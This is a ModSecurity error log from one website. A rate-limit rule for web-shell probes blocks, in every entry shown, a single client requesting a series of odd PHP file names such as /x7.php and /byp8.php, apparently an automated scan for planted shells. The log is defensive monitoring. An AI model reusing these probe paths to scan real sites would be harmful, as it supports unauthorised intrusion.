[Sun Mar 01 13:27:47.008438 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:16567] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jq.php"] [unique_id "aaPOU4O1bqY181I02eFq_wAAAIU"]
[Sun Mar 01 13:27:47.519321 2026] [:error] [pid 41342:tid 41348] [client 158.158.52.178:30021] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/jq.php"] [unique_id "aaPOU44iJ6RAS5CatDk5ywAAAgM"]
[Sun Mar 01 13:27:48.010259 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:25026] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x7.php"] [unique_id "aaPOVPKRPk6YnJBxw_zuCgAAAME"]
[Sun Mar 01 13:27:48.537791 2026] [:error] [pid 41967:tid 41990] [client 158.158.52.178:19874] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x7.php"] [unique_id "aaPOVIO1bqY181I02eFrAwAAAJU"]
[Sun Mar 01 13:27:49.060296 2026] [:error] [pid 41342:tid 41367] [client 158.158.52.178:20185] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x7.php"] [unique_id "aaPOVY4iJ6RAS5CatDk5zgAAAhY"]
[Sun Mar 01 13:27:49.548164 2026] [:error] [pid 41342:tid 41347] [client 158.158.52.178:16160] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x7.php"] [unique_id "aaPOVY4iJ6RAS5CatDk50AAAAgI"]
[Sun Mar 01 13:27:50.039611 2026] [:error] [pid 41967:tid 41977] [client 158.158.52.178:27912] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bes.php"] [unique_id "aaPOVoO1bqY181I02eFrCQAAAIg"]
[Sun Mar 01 13:27:50.568114 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:27950] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bes.php"] [unique_id "aaPOVsONkVoocLIqzy38yAAAA8A"]
[Sun Mar 01 13:27:51.062247 2026] [:error] [pid 41780:tid 41801] [client 158.158.52.178:30035] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bes.php"] [unique_id "aaPOV8ONkVoocLIqzy38ygAAA9I"]
[Sun Mar 01 13:27:51.577931 2026] [:error] [pid 41780:tid 41793] [client 158.158.52.178:27176] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bes.php"] [unique_id "aaPOV8ONkVoocLIqzy38zAAAA8o"]
[Sun Mar 01 13:27:52.126989 2026] [:error] [pid 41780:tid 41785] [client 158.158.52.178:19896] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaPOWMONkVoocLIqzy380QAAA8I"]
[Sun Mar 01 13:27:52.677020 2026] [:error] [pid 41780:tid 41796] [client 158.158.52.178:20201] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaPOWMONkVoocLIqzy381wAAA80"]
[Sun Mar 01 13:27:53.234154 2026] [:error] [pid 41967:tid 41992] [client 158.158.52.178:24459] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaPOWYO1bqY181I02eFrEQAAAJc"]
[Sun Mar 01 13:27:53.752592 2026] [:error] [pid 41780:tid 41789] [client 158.158.52.178:30025] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sadd.php"] [unique_id "aaPOWcONkVoocLIqzy382wAAA8Y"]
[Sun Mar 01 13:27:54.264284 2026] [:error] [pid 41967:tid 41988] [client 158.158.52.178:37420] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaPOWoO1bqY181I02eFrFQAAAJM"]
[Sun Mar 01 13:27:54.774160 2026] [:error] [pid 41967:tid 41974] [client 158.158.52.178:30039] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaPOWoO1bqY181I02eFrFwAAAIU"]
[Sun Mar 01 13:27:55.276681 2026] [:error] [pid 41780:tid 41792] [client 158.158.52.178:20186] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaPOW8ONkVoocLIqzy384gAAA8k"]
[Sun Mar 01 13:27:55.794514 2026] [:error] [pid 41342:tid 41357] [client 158.158.52.178:43436] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vgtyu.php"] [unique_id "aaPOW44iJ6RAS5CatDk51QAAAgw"]
[Sun Mar 01 13:27:56.306913 2026] [:error] [pid 41780:tid 41790] [client 158.158.52.178:16174] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aaPOXMONkVoocLIqzy385gAAA8c"]
[Sun Mar 01 13:27:56.815845 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:25084] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aaPOXPKRPk6YnJBxw_zuHAAAAM4"]
[Sun Mar 01 13:27:57.326087 2026] [:error] [pid 38241:tid 38253] [client 158.158.52.178:34339] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aaPOXfKRPk6YnJBxw_zuIAAAAMk"]
[Sun Mar 01 13:27:57.841727 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:4371] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/166.php"] [unique_id "aaPOXYO1bqY181I02eFrHgAAAIk"]
[Sun Mar 01 13:27:58.358525 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:43394] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaPOXvKRPk6YnJBxw_zuIwAAANI"]
[Sun Mar 01 13:27:58.836569 2026] [:error] [pid 38241:tid 38258] [client 158.158.52.178:43435] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaPOXvKRPk6YnJBxw_zuJAAAAM4"]
[Sun Mar 01 13:27:59.404183 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:16152] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaPOX_KRPk6YnJBxw_zuKQAAANI"]
[Sun Mar 01 13:27:59.983182 2026] [:error] [pid 38241:tid 38256] [client 158.158.52.178:30046] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "aaPOX_KRPk6YnJBxw_zuMAAAAMw"]
[Sun Mar 01 13:28:00.550483 2026] [:error] [pid 41780:tid 41789] [client 158.158.52.178:20178] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c4.php"] [unique_id "aaPOYMONkVoocLIqzy389wAAA8Y"]
[Sun Mar 01 13:28:01.055560 2026] [:error] [pid 38241:tid 38262] [client 158.158.52.178:24497] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c4.php"] [unique_id "aaPOYfKRPk6YnJBxw_zuOAAAANI"]
[Sun Mar 01 13:28:01.770555 2026] [:error] [pid 41967:tid 41980] [client 158.158.52.178:25607] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c4.php"] [unique_id "aaPOYYO1bqY181I02eFrJgAAAIs"]
[Sun Mar 01 13:28:02.272575 2026] [:error] [pid 41967:tid 41978] [client 158.158.52.178:37477] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/c4.php"] [unique_id "aaPOYoO1bqY181I02eFrKwAAAIk"]
[Sun Mar 01 13:28:02.784957 2026] [:error] [pid 38241:tid 38256] [client 158.158.52.178:4412] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eauu.php"] [unique_id "aaPOYvKRPk6YnJBxw_zuPQAAAMw"]
[Sun Mar 01 13:28:03.293382 2026] [:error] [pid 41342:tid 41351] [client 158.158.52.178:30028] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/eauu.php"] [unique_id "aaPOY44iJ6RAS5CatDk52QAAAgY"]
[Sun Mar 01 13:28:03.803466 2026] [:error] [pid 40750:tid 40774] [client 158.158.52.178:16148] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaPOYwfBuk03yQKDyqu_5AAAAdU"]
[Sun Mar 01 13:28:04.294957 2026] [:error] [pid 40750:tid 40756] [client 158.158.52.178:16171] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaPOZAfBuk03yQKDyqu_5QAAAcM"]
[Sun Mar 01 13:28:04.791244 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:4377] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaPOZMONkVoocLIqzy38_AAAA8w"]
[Sun Mar 01 13:28:05.314030 2026] [:error] [pid 41342:tid 41367] [client 158.158.52.178:4370] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fasx.php"] [unique_id "aaPOZY4iJ6RAS5CatDk53AAAAhY"]
[Sun Mar 01 13:28:05.816144 2026] [:error] [pid 41780:tid 41790] [client 158.158.52.178:24473] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/opts.php"] [unique_id "aaPOZcONkVoocLIqzy38_wAAA8c"]
[Sun Mar 01 13:28:06.331103 2026] [:error] [pid 41780:tid 41783] [client 158.158.52.178:37477] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/opts.php"] [unique_id "aaPOZsONkVoocLIqzy39BAAAA8A"]
[Sun Mar 01 13:28:06.883669 2026] [:error] [pid 41780:tid 41784] [client 158.158.52.178:16176] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/opts.php"] [unique_id "aaPOZsONkVoocLIqzy39DAAAA8E"]
[Sun Mar 01 13:28:07.408217 2026] [:error] [pid 41967:tid 41971] [client 158.158.52.178:37478] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/opts.php"] [unique_id "aaPOZ4O1bqY181I02eFrLQAAAII"]
[Sun Mar 01 13:28:07.896845 2026] [:error] [pid 41967:tid 41970] [client 158.158.52.178:37396] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaPOZ4O1bqY181I02eFrMAAAAIE"]
[Sun Mar 01 13:28:08.407514 2026] [:error] [pid 41967:tid 41976] [client 158.158.52.178:16149] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaPOaIO1bqY181I02eFrNAAAAIc"]
[Sun Mar 01 13:28:08.924893 2026] [:error] [pid 41780:tid 41795] [client 158.158.52.178:24469] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaPOaMONkVoocLIqzy39HwAAA8w"]
[Sun Mar 01 13:28:09.426974 2026] [:error] [pid 38241:tid 38256] [client 158.158.52.178:4367] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nzv.php"] [unique_id "aaPOafKRPk6YnJBxw_zuTAAAAMw"]
[Sun Mar 01 13:28:09.918579 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:34331] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaPOafKRPk6YnJBxw_zuTgAAAME"]
[Sun Mar 01 13:28:10.435327 2026] [:error] [pid 42619:tid 42631] [client 158.158.52.178:34361] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaPOah_zUXcYaZE4AOdbCwAAAUo"]
[Sun Mar 01 13:28:10.926501 2026] [:error] [pid 40750:tid 40773] [client 158.158.52.178:34319] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaPOagfBuk03yQKDyqu_7QAAAdQ"]
[Sun Mar 01 13:28:11.430718 2026] [:error] [pid 41780:tid 41790] [client 158.158.52.178:37401] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/grsiuk.php"] [unique_id "aaPOa8ONkVoocLIqzy39JwAAA8c"]
[Sun Mar 01 13:28:11.909162 2026] [:error] [pid 38241:tid 38245] [client 158.158.52.178:20160] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaPOa_KRPk6YnJBxw_zuVAAAAME"]
[Sun Mar 01 13:28:12.404770 2026] [:error] [pid 40750:tid 40765] [client 158.158.52.178:4357] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaPObAfBuk03yQKDyqu_7gAAAcw"]
[Sun Mar 01 13:28:12.887038 2026] [:error] [pid 42619:tid 42630] [client 158.158.52.178:16187] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaPObB_zUXcYaZE4AOdbGQAAAUk"]
[Sun Mar 01 13:28:13.370966 2026] [:error] [pid 40750:tid 40766] [client 158.158.52.178:16156] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp8.php"] [unique_id "aaPObQfBuk03yQKDyqu_9QAAAc0"]
[Sun Mar 01 13:28:13.871648 2026] [:error] [pid 41967:tid 41975] [client 158.158.52.178:20948] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaPObYO1bqY181I02eFrZwAAAIY"]
[Sun Mar 01 13:28:14.350618 2026] [:error] [pid 41342:tid 41358] [client 158.158.52.178:25628] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaPObo4iJ6RAS5CatDk54QAAAg0"]
[Sun Mar 01 13:28:14.845104 2026] [:error] [pid 42619:tid 42640] [client 158.158.52.178:35502] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaPObh_zUXcYaZE4AOdbHwAAAVM"]
[Sun Mar 01 13:28:15.326517 2026] [:error] [pid 41342:tid 41359] [client 158.158.52.178:4409] [client 158.158.52.178] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/nhr.php"] [unique_id "aaPOb44iJ6RAS5CatDk55gAAAg4"]
